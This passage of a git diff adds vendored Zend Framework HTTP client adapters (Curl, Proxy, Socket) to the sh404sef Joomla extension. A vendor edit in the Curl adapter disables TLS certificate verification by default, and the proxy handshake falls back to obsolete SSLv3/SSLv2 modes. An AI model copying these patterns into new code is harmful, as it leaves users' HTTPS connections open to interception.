base64_encode($user . ':' . $password); + break; + + //case self::AUTH_DIGEST: + /** + * @todo Implement digest authentication + */ + // break; + + default: + /** @see Zendshl_Http_Client_Exception */ + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception("Not a supported HTTP authentication type: '$type'"); + } + + return $authHeader; + } + + /** + * Convert an array of parameters into a flat array of (key, value) pairs + * + * Will flatten a potentially multi-dimentional array of parameters (such + * as POST parameters) into a flat array of (key, value) paris. In case + * of multi-dimentional arrays, square brackets ([]) will be added to the + * key to indicate an array. + * + * @since 1.9 + * + * @param array $parray + * @param string $prefix + * @return array + */ + static protected function _flattenParametersArray($parray, $prefix = null) + { + if (! is_array($parray)) { + return $parray; + } + + $parameters = array(); + + foreach($parray as $name => $value) { + + // Calculate array key + if ($prefix) { + if (is_int($name)) { + $key = $prefix . '[]'; + } else { + $key = $prefix . "[$name]"; + } + } else { + $key = $name; + } + + if (is_array($value)) { + $parameters = array_merge($parameters, self::_flattenParametersArray($value, $key)); + + } else { + $parameters[] = array($key, $value); + } + } + + return $parameters; + } + +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Curl.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Curl.php new file mode 100644 index 00000000..3785f430 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Curl.php @@ -0,0 +1,511 @@ +_invalidOverwritableCurlOptions = array( + CURLOPT_HTTPGET, + CURLOPT_POST, + CURLOPT_PUT, + CURLOPT_CUSTOMREQUEST, + CURLOPT_HEADER, + CURLOPT_RETURNTRANSFER, + CURLOPT_HTTPHEADER, + CURLOPT_POSTFIELDS, + CURLOPT_INFILE, + CURLOPT_INFILESIZE, + CURLOPT_PORT, + CURLOPT_MAXREDIRS, + CURLOPT_CONNECTTIMEOUT, + CURL_HTTP_VERSION_1_1, + CURL_HTTP_VERSION_1_0, + ); + } + + /** + * Set the configuration array for the adapter + * + * @throws Zendshl_Http_Client_Adapter_Exception + * @param Zendshl_Config | array $config + * @return Zendshl_Http_Client_Adapter_Curl + */ + public function setConfig($config = array()) + { + if ($config instanceof Zendshl_Config) { + $config = $config->toArray(); + + } elseif (! is_array($config)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception( + 'Array or Zendshl_Config object expected, got ' . gettype($config) + ); + } + + if(isset($config['proxy_user']) && isset($config['proxy_pass'])) { + $this->setCurlOption(CURLOPT_PROXYUSERPWD, $config['proxy_user'].":".$config['proxy_pass']); + unset($config['proxy_user'], $config['proxy_pass']); + } + + foreach ($config as $k => $v) { + $option = strtolower($k); + switch($option) { + case 'proxy_host': + $this->setCurlOption(CURLOPT_PROXY, $v); + break; + case 'proxy_port': + $this->setCurlOption(CURLOPT_PROXYPORT, $v); + break; + default: + $this->_config[$option] = $v; + break; + } + } + + return $this; + } + + /** + * Retrieve the array of all configuration options + * + * @return array + */ + public function getConfig() + { + return $this->_config; + } + + /** + * Direct setter for cURL adapter related options. + * + * @param string|int $option + * @param mixed $value + * @return Zendshl_Http_Adapter_Curl + */ + public function setCurlOption($option, $value) + { + if (!isset($this->_config['curloptions'])) { + $this->_config['curloptions'] = array(); + } + $this->_config['curloptions'][$option] = $value; + return $this; + } + + /** + * Initialize curl + * + * @param string $host + * @param int $port + * @param boolean $secure + * @return void + * @throws Zendshl_Http_Client_Adapter_Exception if unable to connect + */ + public function connect($host, $port = 80, $secure = false) + { + // If we're already connected, disconnect first + if ($this->_curl) { + $this->close(); + } + + // If we are connected to a different server or port, disconnect first + if ($this->_curl + && is_array($this->_connected_to) + && ($this->_connected_to[0] != $host + || $this->_connected_to[1] != $port) + ) { + $this->close(); + } + + // Do the actual connection + $this->_curl = curl_init(); + if ($port != 80) { + curl_setopt($this->_curl, CURLOPT_PORT, intval($port)); + } + + // Set timeout + curl_setopt($this->_curl, CURLOPT_CONNECTTIMEOUT, $this->_config['timeout']); + + // Set Max redirects + curl_setopt($this->_curl, CURLOPT_MAXREDIRS, $this->_config['maxredirects']); + + // SHUMISHA: disable ssl verification + curl_setopt($this->_curl, CURLOPT_SSL_VERIFYPEER, empty($this->_config['disable_curl_ssl_verify']) ? false : true); + + if (!$this->_curl) { + $this->close(); + + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception('Unable to Connect to ' . $host . ':' . $port); + } + + if ($secure !== false) { + // Behave the same like Zendshl_Http_Adapter_Socket on SSL options. + if (isset($this->_config['sslcert'])) { + curl_setopt($this->_curl, CURLOPT_SSLCERT, $this->_config['sslcert']); + } + if (isset($this->_config['sslpassphrase'])) { + curl_setopt($this->_curl, CURLOPT_SSLCERTPASSWD, $this->_config['sslpassphrase']); + } + } + + // Update connected_to + $this->_connected_to = array($host, $port); + } + + /** + * Send request to the remote server + * + * @param string $method + * @param Zendshl_Uri_Http $uri + * @param float $http_ver + * @param array $headers + * @param string $body + * @return string $request + * @throws Zendshl_Http_Client_Adapter_Exception If connection fails, connected to wrong host, no PUT file defined, unsupported method, or unsupported cURL option + */ + public function write($method, $uri, $httpVersion = 1.1, $headers = array(), $body = '') + { + // Make sure we're properly connected + if (!$this->_curl) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception("Trying to write but we are not connected"); + } + + if ($this->_connected_to[0] != $uri->getHost() || $this->_connected_to[1] != $uri->getPort()) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception("Trying to write but we are connected to the wrong host"); + } + + // set URL + curl_setopt($this->_curl, CURLOPT_URL, $uri->__toString()); + + // ensure correct curl call + $curlValue = true; + switch ($method) { + case Zendshl_Http_Client::GET: + $curlMethod = CURLOPT_HTTPGET; + break; + + case Zendshl_Http_Client::POST: + $curlMethod = CURLOPT_POST; + break; + + case Zendshl_Http_Client::PUT: + // There are two different types of PUT request, either a Raw Data string has been set + // or CURLOPT_INFILE and CURLOPT_INFILESIZE are used. + if(is_resource($body)) { + $this->_config['curloptions'][CURLOPT_INFILE] = $body; + } + if (isset($this->_config['curloptions'][CURLOPT_INFILE])) { + // Now we will probably already have Content-Length set, so that we have to delete it + // from $headers at this point: + foreach ($headers AS $k => $header) { + if (preg_match('/Content-Length:\s*(\d+)/i', $header, $m)) { + if(is_resource($body)) { + $this->_config['curloptions'][CURLOPT_INFILESIZE] = (int)$m[1]; + } + unset($headers[$k]); + } + } + + if (!isset($this->_config['curloptions'][CURLOPT_INFILESIZE])) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception("Cannot set a file-handle for cURL option CURLOPT_INFILE without also setting its size in CURLOPT_INFILESIZE."); + } + + if(is_resource($body)) { + $body = ''; + } + + $curlMethod = CURLOPT_PUT; + } else { + $curlMethod = CURLOPT_CUSTOMREQUEST; + $curlValue = "PUT"; + } + break; + + case Zendshl_Http_Client::DELETE: + $curlMethod = CURLOPT_CUSTOMREQUEST; + $curlValue = "DELETE"; + break; + + case Zendshl_Http_Client::OPTIONS: + $curlMethod = CURLOPT_CUSTOMREQUEST; + $curlValue = "OPTIONS"; + break; + + case Zendshl_Http_Client::TRACE: + $curlMethod = CURLOPT_CUSTOMREQUEST; + $curlValue = "TRACE"; + break; + + case Zendshl_Http_Client::HEAD: + $curlMethod = CURLOPT_CUSTOMREQUEST; + $curlValue = "HEAD"; + break; + + default: + // For now, through an exception for unsupported request methods + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception("Method currently not supported"); + } + + if(is_resource($body) && $curlMethod != CURLOPT_PUT) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception("Streaming requests are allowed only with PUT"); + } + + // get http version to use + $curlHttp = ($httpVersion == 1.1) ? CURL_HTTP_VERSION_1_1 : CURL_HTTP_VERSION_1_0; + + // mark as HTTP request and set HTTP method + curl_setopt($this->_curl, $curlHttp, true); + curl_setopt($this->_curl, $curlMethod, $curlValue); + + if($this->out_stream) { + // headers will be read into the response + curl_setopt($this->_curl, CURLOPT_HEADER, false); + curl_setopt($this->_curl, CURLOPT_HEADERFUNCTION, array($this, "readHeader")); + // and data will be written into the file + curl_setopt($this->_curl, CURLOPT_FILE, $this->out_stream); + } else { + // ensure headers are also returned + curl_setopt($this->_curl, CURLOPT_HEADER, true); + + // ensure actual response is returned + curl_setopt($this->_curl, CURLOPT_RETURNTRANSFER, true); + } + + // set additional headers + $headers['Accept'] = ''; + curl_setopt($this->_curl, CURLOPT_HTTPHEADER, $headers); + + /** + * Make sure POSTFIELDS is set after $curlMethod is set: + * @link http://de2.php.net/manual/en/function.curl-setopt.php#81161 + */ + if ($method == Zendshl_Http_Client::POST) { + curl_setopt($this->_curl, CURLOPT_POSTFIELDS, $body); + } elseif ($curlMethod == CURLOPT_PUT) { + // this covers a PUT by file-handle: + // Make the setting of this options explicit (rather than setting it through the loop following a bit lower) + // to group common functionality together. + curl_setopt($this->_curl, CURLOPT_INFILE, $this->_config['curloptions'][CURLOPT_INFILE]); + curl_setopt($this->_curl, CURLOPT_INFILESIZE, $this->_config['curloptions'][CURLOPT_INFILESIZE]); + unset($this->_config['curloptions'][CURLOPT_INFILE]); + unset($this->_config['curloptions'][CURLOPT_INFILESIZE]); + } elseif ($method == Zendshl_Http_Client::PUT) { + // This is a PUT by a setRawData string, not by file-handle + curl_setopt($this->_curl, CURLOPT_POSTFIELDS, $body); + } + + // set additional curl options + if (isset($this->_config['curloptions'])) { + foreach ((array)$this->_config['curloptions'] as $k => $v) { + if (!in_array($k, $this->_invalidOverwritableCurlOptions)) { + if (curl_setopt($this->_curl, $k, $v) == false) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception(sprintf("Unknown or erroreous cURL option '%s' set", $k)); + } + } + } + } + + // send the request + $response = curl_exec($this->_curl); + + // if we used streaming, headers are already there + if(!is_resource($this->out_stream)) { + $this->_response = $response; + } + + $request = curl_getinfo($this->_curl, CURLINFO_HEADER_OUT); + $request .= $body; + + if (empty($this->_response)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Exception.php'; + throw new Zendshl_Http_Client_Exception("Error in cURL request: " . curl_error($this->_curl)); + } + + // cURL automatically decodes chunked-messages, this means we have to disallow the Zendshl_Http_Response to do it again + if (stripos($this->_response, "Transfer-Encoding: chunked\r\n")) { + $this->_response = str_ireplace("Transfer-Encoding: chunked\r\n", '', $this->_response); + } + + // Eliminate multiple HTTP responses. + do { + $parts = preg_split('|(?:\r?\n){2}|m', $this->_response, 2); + $again = false; + + if (isset($parts[1]) && preg_match("|^HTTP/1\.[01](.*?)\r\n|mi", $parts[1])) { + $this->_response = $parts[1]; + $again = true; + } + } while ($again); + + // cURL automatically handles Proxy rewrites, remove the "HTTP/1.0 200 Connection established" string: + if (stripos($this->_response, "HTTP/1.0 200 Connection established\r\n\r\n") !== false) { + $this->_response = str_ireplace("HTTP/1.0 200 Connection established\r\n\r\n", '', $this->_response); + } + + return $request; + } + + /** + * Return read response from server + * + * @return string + */ + public function read() + { + return $this->_response; + } + + /** + * Close the connection to the server + * + */ + public function close() + { + if(is_resource($this->_curl)) { + curl_close($this->_curl); + } + $this->_curl = null; + $this->_connected_to = array(null, null); + } + + /** + * Get cUrl Handle + * + * @return resource + */ + public function getHandle() + { + return $this->_curl; + } + + /** + * Set output stream for the response + * + * @param resource $stream + * @return Zendshl_Http_Client_Adapter_Socket + */ + public function setOutputStream($stream) + { + $this->out_stream = $stream; + return $this; + } + + /** + * Header reader function for CURL + * + * @param resource $curl + * @param string $header + * @return int + */ + public function readHeader($curl, $header) + { + $this->_response .= $header; + return strlen($header); + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Exception.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Exception.php new file mode 100644 index 00000000..3acda913 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Exception.php @@ -0,0 +1,39 @@ + 'ssl', + 'sslcert' => null, + 'sslpassphrase' => null, + 'sslusecontext' => false, + 'proxy_host' => '', + 'proxy_port' => 8080, + 'proxy_user' => '', + 'proxy_pass' => '', + 'proxy_auth' => Zendshl_Http_Client::AUTH_BASIC, + 'persistent' => false + ); + + /** + * Whether HTTPS CONNECT was already negotiated with the proxy or not + * + * @var boolean + */ + protected $negotiated = false; + + /** + * Connect to the remote server + * + * Will try to connect to the proxy server. If no proxy was set, will + * fall back to the target server (behave like regular Socket adapter) + * + * @param string $host + * @param int $port + * @param boolean $secure + */ + public function connect($host, $port = 80, $secure = false) + { + // If no proxy is set, fall back to Socket adapter + if (! $this->config['proxy_host']) { + return parent::connect($host, $port, $secure); + } + + /* Url might require stream context even if proxy connection doesn't */ + if ($secure) { + $this->config['sslusecontext'] = true; + } + + // Connect (a non-secure connection) to the proxy server + return parent::connect( + $this->config['proxy_host'], + $this->config['proxy_port'], + false + ); + } + + /** + * Send request to the proxy server + * + * @param string $method + * @param Zendshl_Uri_Http $uri + * @param string $http_ver + * @param array $headers + * @param string $body + * @return string Request as string + */ + public function write($method, $uri, $http_ver = '1.1', $headers = array(), $body = '') + { + // If no proxy is set, fall back to default Socket adapter + if (! $this->config['proxy_host']) return parent::write($method, $uri, $http_ver, $headers, $body); + + // Make sure we're properly connected + if (! $this->socket) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception("Trying to write but we are not connected"); + } + + $host = $this->config['proxy_host']; + $port = $this->config['proxy_port']; + + if ($this->connected_to[0] != "tcp://$host" || $this->connected_to[1] != $port) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception("Trying to write but we are connected to the wrong proxy server"); + } + + // Add Proxy-Authorization header + if ($this->config['proxy_user'] && ! isset($headers['proxy-authorization'])) { + $headers['proxy-authorization'] = Zendshl_Http_Client::encodeAuthHeader( + $this->config['proxy_user'], $this->config['proxy_pass'], $this->config['proxy_auth'] + ); + } + + // if we are proxying HTTPS, preform CONNECT handshake with the proxy + if ($uri->getScheme() == 'https' && (! $this->negotiated)) { + $this->connectHandshake($uri->getHost(), $uri->getPort(), $http_ver, $headers); + $this->negotiated = true; + } + + // Save request method for later + $this->method = $method; + + // Build request headers + if ($this->negotiated) { + $path = $uri->getPath(); + if ($uri->getQuery()) { + $path .= '?' . $uri->getQuery(); + } + $request = "$method $path HTTP/$http_ver\r\n"; + } else { + $request = "$method $uri HTTP/$http_ver\r\n"; + } + + // Add all headers to the request string + foreach ($headers as $k => $v) { + if (is_string($k)) $v = "$k: $v"; + $request .= "$v\r\n"; + } + + if(is_resource($body)) { + $request .= "\r\n"; + } else { + // Add the request body + $request .= "\r\n" . $body; + } + + // Send the request + if (! @fwrite($this->socket, $request)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception("Error writing request to proxy server"); + } + + if(is_resource($body)) { + if(stream_copy_to_stream($body, $this->socket) == 0) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception('Error writing request to server'); + } + } + + return $request; + } + + /** + * Preform handshaking with HTTPS proxy using CONNECT method + * + * @param string $host + * @param integer $port + * @param string $http_ver + * @param array $headers + */ + protected function connectHandshake($host, $port = 443, $http_ver = '1.1', array &$headers = array()) + { + $request = "CONNECT $host:$port HTTP/$http_ver\r\n" . + "Host: " . $this->config['proxy_host'] . "\r\n"; + + // Add the user-agent header + if (isset($this->config['useragent'])) { + $request .= "User-agent: " . $this->config['useragent'] . "\r\n"; + } + + // If the proxy-authorization header is set, send it to proxy but remove + // it from headers sent to target host + if (isset($headers['proxy-authorization'])) { + $request .= "Proxy-authorization: " . $headers['proxy-authorization'] . "\r\n"; + unset($headers['proxy-authorization']); + } + + $request .= "\r\n"; + + // Send the request + if (! @fwrite($this->socket, $request)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception("Error writing request to proxy server"); + } + + // Read response headers only + $response = ''; + $gotStatus = false; + while ($line = @fgets($this->socket)) { + $gotStatus = $gotStatus || (strpos($line, 'HTTP') !== false); + if ($gotStatus) { + $response .= $line; + if (!chop($line)) break; + } + } + + // Check that the response from the proxy is 200 + if (Zendshl_Http_Response::extractCode($response) != 200) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception("Unable to connect to HTTPS proxy. Server response: " . $response); + } + + // If all is good, switch socket to secure mode. We have to fall back + // through the different modes + $modes = array( + STREAM_CRYPTO_METHOD_TLS_CLIENT, + STREAM_CRYPTO_METHOD_SSLv3_CLIENT, + STREAM_CRYPTO_METHOD_SSLv23_CLIENT, + STREAM_CRYPTO_METHOD_SSLv2_CLIENT + ); + + $success = false; + foreach($modes as $mode) { + $success = stream_socket_enable_crypto($this->socket, true, $mode); + if ($success) break; + } + + if (! $success) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception("Unable to connect to" . + " HTTPS server through proxy: could not negotiate secure connection."); + } + } + + /** + * Close the connection to the server + * + */ + public function close() + { + parent::close(); + $this->negotiated = false; + } + + /** + * Destructor: make sure the socket is disconnected + * + */ + public function __destruct() + { + if ($this->socket) $this->close(); + } +} diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Socket.php b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Socket.php new file mode 100644 index 00000000..b01ebdbe --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Socket.php @@ -0,0 +1,545 @@ + false, + 'ssltransport' => 'ssl', + 'sslcert' => null, + 'sslpassphrase' => null, + 'sslusecontext' => false + ); + + /** + * Request method - will be set by write() and might be used by read() + * + * @var string + */ + protected $method = null; + + /** + * Stream context + * + * @var resource + */ + protected $_context = null; + + /** + * Adapter constructor, currently empty. Config is set using setConfig() + * + */ + public function __construct() + { + } + + /** + * Set the configuration array for the adapter + * + * @param Zendshl_Config | array $config + */ + public function setConfig($config = array()) + { + if ($config instanceof Zendshl_Config) { + $config = $config->toArray(); + + } elseif (! is_array($config)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception( + 'Array or Zendshl_Config object expected, got ' . gettype($config) + ); + } + + foreach ($config as $k => $v) { + $this->config[strtolower($k)] = $v; + } + } + + /** + * Retrieve the array of all configuration options + * + * @return array + */ + public function getConfig() + { + return $this->config; + } + + /** + * Set the stream context for the TCP connection to the server + * + * Can accept either a pre-existing stream context resource, or an array + * of stream options, similar to the options array passed to the + * stream_context_create() PHP function. In such case a new stream context + * will be created using the passed options. + * + * @since Zend Framework 1.9 + * + * @param mixed $context Stream context or array of context options + * @return Zendshl_Http_Client_Adapter_Socket + */ + public function setStreamContext($context) + { + if (is_resource($context) && get_resource_type($context) == 'stream-context') { + $this->_context = $context; + + } elseif (is_array($context)) { + $this->_context = stream_context_create($context); + + } else { + // Invalid parameter + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception( + "Expecting either a stream context resource or array, got " . gettype($context) + ); + } + + return $this; + } + + /** + * Get the stream context for the TCP connection to the server. + * + * If no stream context is set, will create a default one. + * + * @return resource + */ + public function getStreamContext() + { + if (! $this->_context) { + $this->_context = stream_context_create(); + } + + return $this->_context; + } + + /** + * Connect to the remote server + * + * @param string $host + * @param int $port + * @param boolean $secure + */ + public function connect($host, $port = 80, $secure = false) + { + // If the URI should be accessed via SSL, prepend the Hostname with ssl:// + $host = ($secure ? $this->config['ssltransport'] : 'tcp') . '://' . $host; + + // If we are connected to the wrong host, disconnect first + if (($this->connected_to[0] != $host || $this->connected_to[1] != $port)) { + if (is_resource($this->socket)) $this->close(); + } + + // Now, if we are not connected, connect + if (! is_resource($this->socket) || ! $this->config['keepalive']) { + $context = $this->getStreamContext(); + if ($secure || $this->config['sslusecontext']) { + if ($this->config['sslcert'] !== null) { + if (! stream_context_set_option($context, 'ssl', 'local_cert', + $this->config['sslcert'])) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception('Unable to set sslcert option'); + } + } + if ($this->config['sslpassphrase'] !== null) { + if (! stream_context_set_option($context, 'ssl', 'passphrase', + $this->config['sslpassphrase'])) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception('Unable to set sslpassphrase option'); + } + } + } + + $flags = STREAM_CLIENT_CONNECT; + if ($this->config['persistent']) $flags |= STREAM_CLIENT_PERSISTENT; + + $this->socket = @stream_socket_client($host . ':' . $port, + $errno, + $errstr, + (int) $this->config['timeout'], + $flags, + $context); + + if (! $this->socket) { + $this->close(); + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception( + 'Unable to Connect to ' . $host . ':' . $port . '. Error #' . $errno . ': ' . $errstr); + } + + // Set the stream timeout + if (! stream_set_timeout($this->socket, (int) $this->config['timeout'])) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception('Unable to set the connection timeout'); + } + + // Update connected_to + $this->connected_to = array($host, $port); + } + } + + /** + * Send request to the remote server + * + * @param string $method + * @param Zendshl_Uri_Http $uri + * @param string $http_ver + * @param array $headers + * @param string $body + * @return string Request as string + */ + public function write($method, $uri, $http_ver = '1.1', $headers = array(), $body = '') + { + // Make sure we're properly connected + if (! $this->socket) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception('Trying to write but we are not connected'); + } + + $host = $uri->getHost(); + $host = (strtolower($uri->getScheme()) == 'https' ? $this->config['ssltransport'] : 'tcp') . '://' . $host; + if ($this->connected_to[0] != $host || $this->connected_to[1] != $uri->getPort()) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception('Trying to write but we are connected to the wrong host'); + } + + // Save request method for later + $this->method = $method; + + // Build request headers + $path = $uri->getPath(); + if ($uri->getQuery()) $path .= '?' . $uri->getQuery(); + $request = "{$method} {$path} HTTP/{$http_ver}\r\n"; + foreach ($headers as $k => $v) { + if (is_string($k)) $v = ucfirst($k) . ": $v"; + $request .= "$v\r\n"; + } + + if(is_resource($body)) { + $request .= "\r\n"; + } else { + // Add the request body + $request .= "\r\n" . $body; + } + + // Send the request + if (! @fwrite($this->socket, $request)) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception('Error writing request to server'); + } + + if(is_resource($body)) { + if(stream_copy_to_stream($body, $this->socket) == 0) { + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception('Error writing request to server'); + } + } + + return $request; + } + + /** + * Read response from server + * + * @return string + */ + public function read() + { + // First, read headers only + $response = ''; + $gotStatus = false; + $stream = !empty($this->config['stream']); + + while (($line = @fgets($this->socket)) !== false) { + $gotStatus = $gotStatus || (strpos($line, 'HTTP') !== false); + if ($gotStatus) { + $response .= $line; + if (rtrim($line) === '') break; + } + } + + $this->_checkSocketReadTimeout(); + + $statusCode = Zendshl_Http_Response::extractCode($response); + + // Handle 100 and 101 responses internally by restarting the read again + if ($statusCode == 100 || $statusCode == 101) return $this->read(); + + // Check headers to see what kind of connection / transfer encoding we have + $headers = Zendshl_Http_Response::extractHeaders($response); + + /** + * Responses to HEAD requests and 204 or 304 responses are not expected + * to have a body - stop reading here + */ + if ($statusCode == 304 || $statusCode == 204 || + $this->method == Zendshl_Http_Client::HEAD) { + + // Close the connection if requested to do so by the server + if (isset($headers['connection']) && $headers['connection'] == 'close') { + $this->close(); + } + return $response; + } + + // If we got a 'transfer-encoding: chunked' header + if (isset($headers['transfer-encoding'])) { + + if (strtolower($headers['transfer-encoding']) == 'chunked') { + + do { + $line = @fgets($this->socket); + $this->_checkSocketReadTimeout(); + + $chunk = $line; + + // Figure out the next chunk size + $chunksize = trim($line); + if (! ctype_xdigit($chunksize)) { + $this->close(); + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception('Invalid chunk size "' . + $chunksize . '" unable to read chunked body'); + } + + // Convert the hexadecimal value to plain integer + $chunksize = hexdec($chunksize); + + // Read next chunk + $read_to = ftell($this->socket) + $chunksize; + + do { + $current_pos = ftell($this->socket); + if ($current_pos >= $read_to) break; + + if($this->out_stream) { + if(stream_copy_to_stream($this->socket, $this->out_stream, $read_to - $current_pos) == 0) { + $this->_checkSocketReadTimeout(); + break; + } + } else { + $line = @fread($this->socket, $read_to - $current_pos); + if ($line === false || strlen($line) === 0) { + $this->_checkSocketReadTimeout(); + break; + } + $chunk .= $line; + } + } while (! feof($this->socket)); + + $chunk .= @fgets($this->socket); + $this->_checkSocketReadTimeout(); + + if(!$this->out_stream) { + $response .= $chunk; + } + } while ($chunksize > 0); + } else { + $this->close(); + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception('Cannot handle "' . + $headers['transfer-encoding'] . '" transfer encoding'); + } + + // We automatically decode chunked-messages when writing to a stream + // this means we have to disallow the Zendshl_Http_Response to do it again + if ($this->out_stream) { + $response = str_ireplace("Transfer-Encoding: chunked\r\n", '', $response); + } + // Else, if we got the content-length header, read this number of bytes + } elseif (isset($headers['content-length'])) { + + // If we got more than one Content-Length header (see ZF-9404) use + // the last value sent + if (is_array($headers['content-length'])) { + $contentLength = $headers['content-length'][count($headers['content-length']) - 1]; + } else { + $contentLength = $headers['content-length']; + } + + $current_pos = ftell($this->socket); + $chunk = ''; + + for ($read_to = $current_pos + $contentLength; + $read_to > $current_pos; + $current_pos = ftell($this->socket)) { + + if($this->out_stream) { + if(@stream_copy_to_stream($this->socket, $this->out_stream, $read_to - $current_pos) == 0) { + $this->_checkSocketReadTimeout(); + break; + } + } else { + $chunk = @fread($this->socket, $read_to - $current_pos); + if ($chunk === false || strlen($chunk) === 0) { + $this->_checkSocketReadTimeout(); + break; + } + + $response .= $chunk; + } + + // Break if the connection ended prematurely + if (feof($this->socket)) break; + } + + // Fallback: just read the response until EOF + } else { + + do { + if($this->out_stream) { + if(@stream_copy_to_stream($this->socket, $this->out_stream) == 0) { + $this->_checkSocketReadTimeout(); + break; + } + } else { + $buff = @fread($this->socket, 8192); + if ($buff === false || strlen($buff) === 0) { + $this->_checkSocketReadTimeout(); + break; + } else { + $response .= $buff; + } + } + + } while (feof($this->socket) === false); + + $this->close(); + } + + // Close the connection if requested to do so by the server + if (isset($headers['connection']) && $headers['connection'] == 'close') { + $this->close(); + } + + return $response; + } + + /** + * Close the connection to the server + * + */ + public function close() + { + if (is_resource($this->socket)) @fclose($this->socket); + $this->socket = null; + $this->connected_to = array(null, null); + } + + /** + * Check if the socket has timed out - if so close connection and throw + * an exception + * + * @throws Zendshl_Http_Client_Adapter_Exception with READ_TIMEOUT code + */ + protected function _checkSocketReadTimeout() + { + if ($this->socket) { + $info = stream_get_meta_data($this->socket); + $timedout = $info['timed_out']; + if ($timedout) { + $this->close(); + require_once SHLIB_PATH_TO_ZEND . 'Zendshl/Http/Client/Adapter/Exception.php'; + throw new Zendshl_Http_Client_Adapter_Exception( + "Read timed out after {$this->config['timeout']} seconds", + Zendshl_Http_Client_Adapter_Exception::READ_TIMEOUT + ); + } + } + } + + /** + * Set output stream for the response + * + * @param resource $stream + * @return Zendshl_Http_Client_Adapter_Socket + */ + public function setOutputStream($stream) + { + 